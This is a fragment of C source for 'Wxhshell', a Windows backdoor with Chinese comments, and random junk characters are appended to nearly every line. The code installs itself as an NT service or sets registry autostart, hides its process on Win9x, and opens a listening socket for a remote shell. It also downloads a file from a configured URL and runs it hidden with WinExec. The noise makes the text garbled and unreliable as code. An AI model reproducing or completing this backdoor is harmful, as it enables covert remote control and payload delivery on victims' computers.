ULONG UniqueProcessId; S"iz
fQ@
ULONG InheritedFromUniqueProcessId; UGNFWZ c
} PROCESS_BASIC_INFORMATION; {]aB3
&n.7~C]R
PROCNTQSIP NtQueryInformationProcess; LB|FVNW/S
p-H q\DP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ).0h4oHSj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R!i9N'gGG(
cCd2f>EHw
HANDLE hProcess; jj,Y:
PROCESS_BASIC_INFORMATION pbi; FfnW
821@qr|`e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mJaWzR
if(NULL == hInst ) return 0; }];8v+M
+j._NRXRH
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?3wEO>u
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); URq{#,~CT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HY.??
5MH
`k}
if (!NtQueryInformationProcess) return 0; 1k2+eI
:?VM1!~ga
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E4^zW_|xE
if(!hProcess) return 0; Z_oBZs
g|r:+%,M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fdIk{o
<!#6c :(Q
CloseHandle(hProcess); -v *wT*I1
&<Bx1\ ~V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Bx.jx0?
if(hProcess==NULL) return 0; )]"aa_20]
w\U
fq
HMODULE hMod; }VlX!/42
char procName[255]; Yl[GO}M
unsigned long cbNeeded; ALqP;/
/F;b<kIy8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 75j`3wzu
'"{ IV
CloseHandle(hProcess); _C3l2v'I$
P>/n!1c
if(strstr(procName,"services")) return 1; // 以服务启动 >E&mNp
U$j*{`$4
return 0; // 注册表启动 W8:?y*6
} iq> PN:mr
?:(BkY,K5
// 主模块 PSX-b)wb
int StartWxhshell(LPSTR lpCmdLine) eJ+V!K'H2
{ "oX@Z^
SOCKET wsl; ?Xscc mN
BOOL val=TRUE; kK2x';21
int port=0; -I7"9}j3
struct sockaddr_in door; -,NiSh}A
1s4+a^&
if(wscfg.ws_autoins) Install(); +;7Rz_.6f
4-@D` ,3L
port=atoi(lpCmdLine); Z `FqC
m&xyw9a
if(port<=0) port=wscfg.ws_port; Ti`H?9t
ZzA4iT=KO
WSADATA data; [,s{ /OM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gma)8X#
)v&r^DR_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b&BSigrvou
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ay~l%x
door.sin_family = AF_INET; &D,gKT~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (,~gY=E+
door.sin_port = htons(port); LFHV~>d
ek~bXy{O`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XJl2_#
closesocket(wsl); *rPUVhD_
return 1; h$)},% e
} uc@f# (-
CN6@g^)P
if(listen(wsl,2) == INVALID_SOCKET) { -`FPR4;
closesocket(wsl); G<9UL*HU
return 1; 8YJ8_$Z
} qP<wf=wY
Wxhshell(wsl); y#HDJ=2
WSACleanup(); "71@WLlN
,6Ulj+l
return 0; A+d&aE}3V
d&n&_>
} g3@Qn?(j!
]*a3J45
// 以NT服务方式启动 {7!WtH;-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )En*5-1
{ h~rSM#7m
DWORD status = 0; _w8iPL5:
DWORD specificError = 0xfffffff; j,")c'r&dD
y=) Cid
serviceStatus.dwServiceType = SERVICE_WIN32; B`,4M&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Rckqr7q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @l~zn%!X
serviceStatus.dwWin32ExitCode = 0; |) {)w`
serviceStatus.dwServiceSpecificExitCode = 0; s u]x
serviceStatus.dwCheckPoint = 0; J1kG'cH05
serviceStatus.dwWaitHint = 0; )8Defuxk
@Y":DHF5q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y>*{(QD
if (hServiceStatusHandle==0) return; ?5d7J,"<h
IHCEuK
status = GetLastError(); %;+Q0
e9
if (status!=NO_ERROR) o@6:|X)7
{ T/Q#V)Tp
serviceStatus.dwCurrentState = SERVICE_STOPPED; jRP.Je@t
serviceStatus.dwCheckPoint = 0; a=3?hVpB
serviceStatus.dwWaitHint = 0; J{"<Hgb
serviceStatus.dwWin32ExitCode = status; YK Nz[x$|
serviceStatus.dwServiceSpecificExitCode = specificError; Jwzkd"D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z>$AZ>t%J$
return; ]F[ V6`H
} ;E0Xn-o_
S^;D\6(r
serviceStatus.dwCurrentState = SERVICE_RUNNING; A;E7~qOG
serviceStatus.dwCheckPoint = 0; Qzbelt@Wx
serviceStatus.dwWaitHint = 0; l
:\DC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
lIHSy
} R1Jj 3k
)*_4=-8H
// 处理NT服务事件,比如:启动、停止 CCp&P5[67
VOID WINAPI NTServiceHandler(DWORD fdwControl) m{itMZ@
{ 0#f;/c0i
switch(fdwControl) D^1H(y2zp
{ b=<xzvy
case SERVICE_CONTROL_STOP:
V_*TY6
serviceStatus.dwWin32ExitCode = 0; .\1{>A
serviceStatus.dwCurrentState = SERVICE_STOPPED; XKqUbi
serviceStatus.dwCheckPoint = 0; o<T_Pjp
serviceStatus.dwWaitHint = 0; 4OLq
{ *G)=6\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jFYv4!\ju
} /I@nPH<y
return; @&!HMl
case SERVICE_CONTROL_PAUSE: NQCJ '%L6
serviceStatus.dwCurrentState = SERVICE_PAUSED; wIT0A-Por4
break; NYbeIfL
case SERVICE_CONTROL_CONTINUE: 4#H~g
@
serviceStatus.dwCurrentState = SERVICE_RUNNING; m:@-]U@6
break; T^9k,J(rM
case SERVICE_CONTROL_INTERROGATE: rdd%"u+
break; SenDJv00
}; 8':^tMd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5DW!^
} yj!4L&A
,#Y>nP0
// 标准应用程序主函数 595P04
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J6 }J /
{ 'Dl31w%:
bbevy!m
// 获取操作系统版本 {1
fva^O
OsIsNt=GetOsVer(); RM2<%$
GetModuleFileName(NULL,ExeFile,MAX_PATH); G5~ Jp#uA
:p^7XwX%w
// 从命令行安装 X.V6v4
if(strpbrk(lpCmdLine,"iI")) Install(); lc%2fVG-e
Gb]t%\
// 下载执行文件 nRKh|B)
if(wscfg.ws_downexe) { 4?GW]'d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W|S{v7[l
WinExec(wscfg.ws_filenam,SW_HIDE); Cf#[E~2 4
} M7rVH\:[-
Ic_>[E?k
if(!OsIsNt) { (h;4irfX
// 如果时win9x,隐藏进程并且设置为注册表启动 /$v0Rq9
HideProc(); Ik_u34U
StartWxhshell(lpCmdLine); $ K>.|\
} y#-mj,e
else OmO/x
if(StartFromService()) 9Yg=4>#$
// 以服务方式启动 3=(Gb
StartServiceCtrlDispatcher(DispatchTable); (gd+-o4
else hVPSW# .d
// 普通方式启动 -z"=d<@
StartWxhshell(lpCmdLine); tY=sl_
U#3Y3EdF<
return 0; gp
Aqz Y
}